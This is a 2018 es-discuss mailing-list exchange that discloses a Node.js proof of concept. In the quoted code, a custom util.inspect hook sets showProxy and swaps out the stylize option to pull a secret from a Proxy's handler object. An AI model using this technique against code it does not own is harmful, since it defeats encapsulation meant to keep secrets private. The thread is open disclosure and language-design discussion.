Nicely done!
One more reason to prefer WeakMaps to properties when relating objects and
secrets.
On Sun, Sep 16, 2018 at 2:59 PM Darien Valentine <valentin...@gmail.com>
wrote:
> A few weeks ago I’d commented on an open Node github issue regarding
> Proxies and inspection. While the bulk of the comment concerns an opinion
> that proxies should not be treated as special case, I included an example
> of a mechanism by which the current implementation allows outside code to
> access the target and handler objects of a proxy that it does not own.
>
> On reflection I realized this specific issue might be worth drawing more
> attention to.
>
> ```js
> const util = require('util');
>
> const victim = new Proxy({}, {
> SECRET: 'Nothing outside can access this'
> });
>
> let secret;
>
> const invariantViolator = {
> [util.inspect.custom](depth, options) {
> const { stylize } = options;
>
> options.showProxy = true;
>
> options.stylize = (value, color) => {
> secret = value;
> options.stylize = stylize;
> return stylize(value, color);
> };
>
> return victim;
> }
> };
>
> util.inspect(invariantViolator);
>
> console.log(secret); // 'Nothing outside can access this'
> ```
>
> The implication is that even if running Node with no C++ addons, it is
> presently possible for proxies to be violated using just the standard lib,
> which may be significant from a security perspective. I’m not sure if
> that’s the case in practice, but just in case, I figured I should try to
> get eyes on it.
>
> Note that even if this particular hole is patched, the "analog hole" (so
> to speak) of just analyzing the string output remains.
> _______________________________________________
> es-discuss mailing list
> es-discuss@mozilla.org
> https://mail.mozilla.org/listinfo/es-discuss
>
_______________________________________________
es-discuss mailing list
es-discuss@mozilla.org
https://mail.mozilla.org/listinfo/es-discuss
